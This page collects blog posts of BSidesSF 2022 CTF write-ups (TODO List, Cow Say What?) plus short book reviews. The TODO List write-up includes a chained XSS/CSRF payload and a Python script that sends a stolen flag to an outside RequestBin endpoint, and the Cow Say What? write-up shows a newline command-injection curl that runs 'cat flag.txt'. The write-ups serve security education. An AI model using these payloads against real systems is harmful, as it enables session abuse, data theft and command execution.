BSidesSF 2022 CTF: Login4Shell

Log4Shell was arguably the biggest vulnerability disclosure of 2021. Security teams across the entire world spent the end of the year trying to address this bug (and several variants) in the popular Log4J logging library.

The vulnerability was caused by special formatting strings in the values being logged that allow you to include a reference. This reference, it turns out, can be loaded via JNDI, which allows remotely loading the results as a Java class.

This was such a big deal that there was no way we could let the next BSidesSF CTF go by without paying homage to it. Fun fact, this meant I “got” to build a Java webapp, which is actually something I’d never done from scratch before. Nothing quite like learning about Jetty, Log4J, and Maven just for a CTF level.


BSidesSF 2022 CTF: TODO List

This year, I was the author of a few of our web challenges. One of those that gave both us (as administrators) and the players a few difficulties was “TODO List”.

Upon visiting the application, we see an app with a few options, including registering, login, and support. Upon registering, we are presented with an opportunity to add TODOs and mark them as finished:

Add TODOs

If we check robots.txt we discover a couple of interesting entries:

1
2
3
User-agent: *
Disallow: /index.py
Disallow: /flag

Visiting /flag, unsurprisingly, shows us an “Access Denied” error and nothing further. It seems that we’ll need to find some way to elevate our privileges or compromise a privileged user.

The other entry, /index.py, provides the source code of the TODO List app. A few interesting routes jump out at us, not least of which is the routing for /flag:

1
2
3
4
5
6
7
8
@app.route('/flag', methods=['GET'])
@login_required
def flag():
    user = User.get_current()
    if not (user and user.is_admin):
        return 'Access Denied', 403
    return flask.send_file(
            'flag.txt', mimetype='text/plain', as_attachment=True)

We see that we will need a user flagged with is_admin. There’s no obvious way to set this value on an account. User IDs as stored in the database are based on a sha256 hash, and the passwords are hashed with argon2. There’s no obvious way to login as an administrator here. There’s an endpoint labeled /api/sso, but it requires an existing session.

Looking at the frontend of the application, we see a pretty simple Javascript to load TODOs from the API, add them to the UI, and handle marking them as finished on click. Most of it looks pretty reasonable, but there’s a case where the TODO is inserted into an HTML string here:

1
2
3
const rowData = `<td><input type='checkbox'></td><td>${data[k].text}</td>`;
const row = document.createElement('tr');
row.innerHTML = rowData;

This looks awfully like an XSS sink, unless the server is pre-escaping the data for us in the API. Easy enough to test though, we can just add a TODO containing <span onclick='alert(1)'>Foobar</span>. We quickly see the span become part of the DOM and a click on it gets the alert we’re looking for.

TODOs

At this point, we’re only able to get an XSS on ourselves, otherwise known as a “Self-XSS”. This isn’t very exciting by itself – running a script as ourselves is not crossing any privilege boundaries. Maybe we can find a way to create a TODO for another user?

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/api/todos', methods=['POST'])
@login_required
def api_todos_post():
    user = User.get_current()
    if not user:
        return '{}'
    todo = flask.request.form.get("todo")
    if not todo:
        return 'Missing TODO', 400
    num = user.add_todo(todo)
    if num:
        return {'{}'.format(num): todo}
    return 'Too many TODOs', 428

Looking at the code for creating a TODO, it seems quite clear that it depends on the current user. The TODOs are stored in Redis as a single hash object per user, so there’s no apparent way to trick it into storing a TODO for someone else. It is worth noting that there’s no apparent protection against a Cross-Site Request Forgery, but it’s not clear how we could perform such an attack against the administrator.

Maybe it’s time to take a look at the Support site. If we visit it, we see not much at all but a Login page. Clicking on Login redirects us through the /api/sso endpoint we saw before, passing a token in the URL and generating a new session cookie on the support page. Unlike the main TODO app, no source code is to be found here. In fact, the only real functionality is a page to “Message Support”.

Submitting a message to support, we get a link to view our own message. In the page, we have our username, our IP, our User-Agent, and our message. Maybe we can use this for something. Placing an XSS payload in our message doesn’t seem to get anywhere in particular – nothing is firing, at least when we preview it. Obviously an IP address isn’t going to contain a payload either, but we still have the username and the User-Agent. The User-Agent is relatively easily controlled, so we can try something here. cURL is an easy way to give it a try, especially if we use the developer tools to copy our initial request for modification:

1
2
3
4
5
6
7
curl 'https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
  -H 'content-type: multipart/form-data; boundary=----WebKitFormBoundaryz4kbBFNL12fwuZ57' \
  -H 'cookie: sup_session=75b212f8-c8e6-49c3-a469-cfc369632c72' \
  -H 'origin: https://todolist-support-ebc7039e.challenges.bsidessf.net' \
  -H 'referer: https://todolist-support-ebc7039e.challenges.bsidessf.net/message' \
  -H 'user-agent: <script>alert(1)</script>' \
  --data-raw $'------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="difficulty"\r\n\r\n4\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="message"\r\n\r\nfoobar\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57\r\nContent-Disposition: form-data; name="pow"\r\n\r\n1b4849930f5af9171a90fe689edd6d27\r\n------WebKitFormBoundaryz4kbBFNL12fwuZ57--\r\n'

Viewing this message, we see our good friend, the alert box.

Alert 1

Things are beginning to become a bit clear now – we’ve discovered a few things.

  1. The flag is likely on the page /flag of the TODO list manager.
  2. Creating a TODO list entry has no protection against XSRF.
  3. Rendering a TODO is vulnerable to a self-XSS.
  4. Messaging the admin via support appears to be vulnerable to XSS in the User-Agent.

Due to the Same-Origin Policy, the XSS on the support site can’t directly read the resources from the main TODO list page, so we need to do a bit more here.

We can chain these together to (hopefully) retrieve the flag as the admin by sending a message to the admin that contains a User-Agent with an XSS payload that does the following steps:

  1. Uses the XSRF to inject a payload (steps 3+) as a new XSS.
  2. Redirects the admin to their TODO list to trigger the XSS payload.
  3. Uses the Fetch API (or XHR) to retrieve the flag from /flag.
  4. Uses the Fetch API (or XHR) to send the flag off to an endpoint we control.

One additional complication is that <script> tags will not be executed if injected via the innerHTML mechanism in the TODO list. The reasons are complicated, but essentially:

  • innerHTML is parsed using the algorithm descripted in Parsing HTML Fragments of the HTML spec.
  • This creates an HTML parser associated with a new Document node.
  • The script node is parsed by this parser, and then inserted into the DOM of the parent Document.
  • Consequently, the parser document and the element document are different, preventing execution.

We can work around this by using an event handler that will fire asynchronously. My favorite variant of this is doing something like <img src='x' onerror='alert(1)'>.

I began by preparing the payload I wanted to fire on todolist-support as an HTML standalone document. I included a couple of variables for the hostnames involved.

1
2
3
4
5
6
7
8
9
10
11
12
13
<div id='s2'>
const dest='{{dest}}';
fetch('/flag').then(r => r.text()).then(b => fetch(dest, {method: 'POST', body: b}));
</div>
<script>
const ep='{{ep}}';
const s2=document.getElementById('s2').innerHTML;
const fd=new FormData();
fd.set('todo', '<img src="x" onerror="'+s2+'">');
fetch(ep+'/api/todos',
    {method: 'POST', body: fd, mode: 'no-cors', credentials: 'include'}).then(
        _ => {document.location.href = ep + '/todos'});
</script>

I used the DIV s2 to get the escaping right for the Javascript I wanted to insert into the error handler for the image. This would be the payload executed on todolist, while the lower script tag would be executed on todolist-support. This wasn’t strictly necessary, but it made experimenting with the 2nd stage payload easier.

The todolist-support payload triggers a cross-origin request (hence the need for mode: 'no-cors' and credentials: 'include' to the todolist API to create a new TODO. The new TODO contained an image tag with the contents of s2 as the onerror handler (which would fire as soon as rendered).

That javascript first fetched the /flag endpoint, then did a POST to my destination with the contents of the response.

I built a small(ish) python script to send the payload file, and used RequestBin to receive the final flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import requests
import argparse
import os


def make_email():
    return os.urandom(12).hex() + '@example.dev'


def register_account(session, server):
    resp = session.post(server + '/register', data={
        'email': make_email(),
        'password': 'foofoo',
        'password2': 'foofoo'})
    resp.raise_for_status()


def get_support(session, server):
    resp = session.get(server + '/support')
    resp.raise_for_status()
    return resp.url


def post_support_message(session, support_url, payload):
    # first sso
    resp = session.get(support_url + '/message')
    resp.raise_for_status()
    msg = "auto-solution-test"
    pow_value = "c8157e80ff474182f6ece337effe4962"
    data = {"message": msg, "pow": pow_value}
    resp = session.post(support_url + '/message', data=data,
            headers={'User-Agent': payload})
    resp.raise_for_status()


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--requestbin',
            default='https://eo3krwoqalopeel.m.pipedream.net')
    parser.add_argument('server', default='http://localhost:3123/',
            nargs='?', help='TODO Server')
    args = parser.parse_args()

    server = args.server
    if server.endswith('/'):
        server = server[:-1]
    sess = requests.Session()
    register_account(sess, server)
    support_url = get_support(sess, server)
    if support_url.endswith('/'):
        support_url = support_url[:-1]
    print('Support URL: ', support_url)
    payload = open('payload.html').read().replace('\n', ' ')
    payload = payload.replace('{{dest}}', args.requestbin
            ).replace('{{ep}}', server)
    print('Payload is: ', payload)
    post_support_message(sess, support_url, payload)
    print('Sent support message.')


if __name__ == '__main__':
    main()

The python takes care of registering an account, redirecting to the support site, logging in there, then sending the payload in the User-Agent header. Checking the request bin will (after a handful of seconds) show us the flag.


BSidesSF 2022 CTF: Cow Say What?

As the author of the Cow Say What? challenge from this year’s BSidesSF CTF, I got a lot of questions about it after the CTF ended. It’s both surprisingly straight-forward but also a very little-known issue.

The challenge was a web challenge – if you visited the service, you got a page providing a textarea for input to the cowsay program, as well as a drop down for the style of the cow saying something (plain, stoned, dead, etc.). There was a link to the source code, reproduced here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package main

import (
	"fmt"
	"html/template"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
)

const (
	COWSAY_PATH = "/usr/games/cowsay"
)

var (
	modeRE = regexp.MustCompilePOSIX("^-(b|d|g|p|s|t|w)$")
)

// Note: mode must be validated prior to running this!
func cowsay(mode, message string) (string, error) {
	cowcmd := fmt.Sprintf("%s %s -n", COWSAY_PATH, mode)
	log.Printf("Running cowsay as: %s", cowcmd)
	cmd := exec.Command("/bin/sh", "-c", cowcmd)
	stdin, err := cmd.StdinPipe()
	if err != nil {
		return "", err
	}
	go func() {
		defer stdin.Close()
		io.WriteString(stdin, message)
	}()
	outbuf, err := cmd.Output()
	if err != nil {
		return "", err
	}
	return string(outbuf), nil
}

func checkMode(mode string) error {
	if mode == "" {
		return nil
	}
	if !modeRE.MatchString(mode) {
		return fmt.Errorf("Mode must match regexp: %s", modeRE.String())
	}
	return nil
}

const cowTemplateSource = `
<!doctype html>
<html>
	<h1>Cow Say What?</h1>
	<p>I love <a href='https://www.mankier.com/1/cowsay'>cowsay</a> so much that
	I wanted to bring it to the web.  Enjoy!</p>
	{{if .Error}}
	<p><b>{{.Error}}</b></p>
	{{end}}
	<form method="POST" action="/">
	<select name="mode">
		<option value="">Plain</option>
		<option value="-b">Borg</option>
		<option value="-d">Dead</option>
		<option value="-g">Greedy</option>
		<option value="-p">Paranoid</option>
		<option value="-s">Stoned</option>
		<option value="-t">Tired</option>
		<option value="-w">Wired</option>
	</select><br />
	<textarea name="message" placeholder="message" cols="60" rows="10">{{.Message}}</textarea><br />
	<input type='submit' value='Say'><br />
	</form>
	{{if .CowSay}}
	<pre>{{.CowSay}}</pre>
	{{end}}
	<p>Check out <a href='/cowsay.go'>how it works</a>.</p>
</html>
`

var cowTemplate = template.Must(template.New("cowsay").Parse(cowTemplateSource))

type tmplVars struct {
	Error   string
	CowSay  string
	Message string
}

func cowsayHandler(w http.ResponseWriter, r *http.Request) {
	vars := tmplVars{}
	if r.Method == http.MethodPost {
		mode := r.FormValue("mode")
		message := r.FormValue("message")
		vars.Message = message
		if err := checkMode(mode); err != nil {
			vars.Error = err.Error()
		} else {
			if said, err := cowsay(mode, message); err != nil {
				log.Printf("Error running cowsay: %v", err)
				vars.Error = "An error occurred running cowsay."
			} else {
				vars.CowSay = said
			}
		}
	}
	cowTemplate.Execute(w, vars)
}

func sourceHandler(w http.ResponseWriter, r *http.Request) {
	http.ServeFile(w, r, "cowsay.go")
}

func main() {
	addr := "0.0.0.0:6789"
	if len(os.Args) > 1 {
		addr = os.Args[1]
	}
	http.HandleFunc("/cowsay.go", sourceHandler)
	http.HandleFunc("/", cowsayHandler)
	log.Fatal(http.ListenAndServe(addr, nil))
}

There’s a few things to unpack here, but probably most significant is that the cowsay output is produced by invoking an external program. Notably, it passes the message via stdin, and the mode as an argument to the program. The entire program is invoked via sh -c, which makes this similar to the system(3) libc function.

The mode is validated via a regular expression. As Jamie Zawinski was opined (and Jeff Atwood has commented on):

Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems.

Well, it turns out we do have two problems. Our regular expression is given by the statement:

1
modeRE = regexp.MustCompilePOSIX("^-(b|d|g|p|s|t|w)$")

We can use a tool like regex101.com to play around with our expression. Specifically, it appears that it should consist of a - followed by one of the characters separated by pipes within the parentheses. At first, this appears pretty limiting, however, if we examine the Go regexp documentation, we might notice a few oddities. Specifically, ^ is defined as “at beginning of text or line (flag m=true)” and $ as “at end of text … or line (flag m=true)”. So apparently two of our special characters have different meanings depending on some “flags”.

There are no flags in our regular expression, so we’re using whatever the defaults are. Looking at the documentation for Flags, we see that there are two default sets of flags: Perl and POSIX. Slightly strangely, the constants use an inverted meaning for the m flag: OneLine, which causes the regular expression engine to “treat ^ and $ as only matching at beginning and end of text”. This flag is not included in POSIX (in fact, no flags are), so in a POSIX RE, ^ and $ match the beginning and end of lines respectively.

Our test for the Regexp to match is MatchString, which is documented as:

MatchString reports whether the string s contains any match of the regular expression re.

Note that the test is “contains any match”. If ^ and $ matched beginning and end of input, that would require the entire string to match, but since they are matching beginning and end of line, so long as the input contains a line matching the regular expression, then MatchString will return true.

This now means we can pass arbitrary input via the mode parameter, which will be directly interpolated into the string passed to sh -c. Put another way, we now have a Command Injection vulnerability. We just need to also include a line that matches our regular expression.

To send a parameter containing a newline, we merely need to URL encode (sometimes called percent encoding) the character, resulting in %0A. This can be exploited with a simple cURL command:

1
2
3
curl 'https://cow-say-what-473bf31e.challenges.bsidessf.net/' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw 'mode=-d%0acat flag.txt #&message=foo'

The -d%0a matches the regular expression, then we have a command injected (cat flag.txt) and start a comment (#) to just ignore the rest of the command.

1
2
3
4
5
6
7
8
9
 _____
< foo >
 -----
        \   ^__^
         \  (xx)\_______
            (__)\       )\/\
             U  ||----w |
                ||     ||
CTF{dont_have_a_cow_have_a_flag}

Book Review: Designing Secure Software

Designing Secure Software (Amazon, No Starch Press) by Loren Kohnfelder is one of the latest entries in No Starch Press’s line of security books. This book stands out to me for two big reasons. First, this is one of the most mindset-centric books I’ve seen (which means it is likely to age better than a lot of more technically-specific books). Second, this book caters to developers more than security professionals (but don’t take this to mean it’s only for developers), which is definitely a distinguishing feature from so many other security books.


Book Review: Bug Bounty Bootcamp

Bug Bounty Bootcamp (Amazon, No Starch Press) by Vickie Li is one of No Starch Press’s newest offerings in the security space. The alliterative title is also the best three word summary I could possibly offer of the book – it is clearly focused on getting the reader into a position to participate in Bug Bounties from the first page to the last. This differentiates this book well against other web security books, despite covering many of the same vulnerabilities.